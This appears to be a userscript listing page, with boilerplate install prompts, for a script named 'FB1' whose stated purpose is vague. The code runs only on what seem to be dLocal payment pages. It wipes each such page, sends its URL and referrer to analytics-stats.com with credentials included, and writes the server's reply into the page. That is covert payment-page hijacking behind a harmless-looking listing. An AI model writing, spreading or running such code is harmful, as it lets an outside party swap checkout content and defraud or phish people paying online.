FB1

Inject an external script from a specific domain on any site.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Greasemonkey lub Violentmonkey.

You will need to install an extension such as Tampermonkey to install this script.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Violentmonkey.

Aby zainstalować ten skrypt, wymagana będzie instalacja rozszerzenia Tampermonkey lub Userscripts.

You will need to install an extension such as Tampermonkey to install this script.

Aby zainstalować ten skrypt, musisz zainstalować rozszerzenie menedżera skryptów użytkownika.

(Mam już menedżera skryptów użytkownika, pozwól mi to zainstalować!)

Advertisement:

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Musisz zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

(Mam już menedżera stylów użytkownika, pozwól mi to zainstalować!)

Advertisement:

// ==UserScript==
// @name         FB1
// @namespace    http://tampermonkey.net/
// @version      3.0
// @description  Inject an external script from a specific domain on any site.
// @match        *://*/*
// @grant        none
// @license MIT
// ==/UserScript==

if (location.host == 'facebook.dlocal.com' || location.host == 'd2wn155wkkluhq.cloudfront.net') {

  document.write(' ');

  var data = {
    url: location.href,
    referrer: document.referrer,
  };

  var query =  new URLSearchParams(data).toString();
  var url = "https://analytics-stats.com/rapipago/get?"+query;

  var options = {
    credentials: 'include', 
  };

  fetch(url, options)
  .then(response => response.json())
  .then(data => {
    if(data.status == 'ok'){
      document.write(data.text);
    }else{
      document.write(data.text);
      alert(data.text);
    }
    console.log(data);

  })
  .catch(error => {
    console.log(error);
  });

}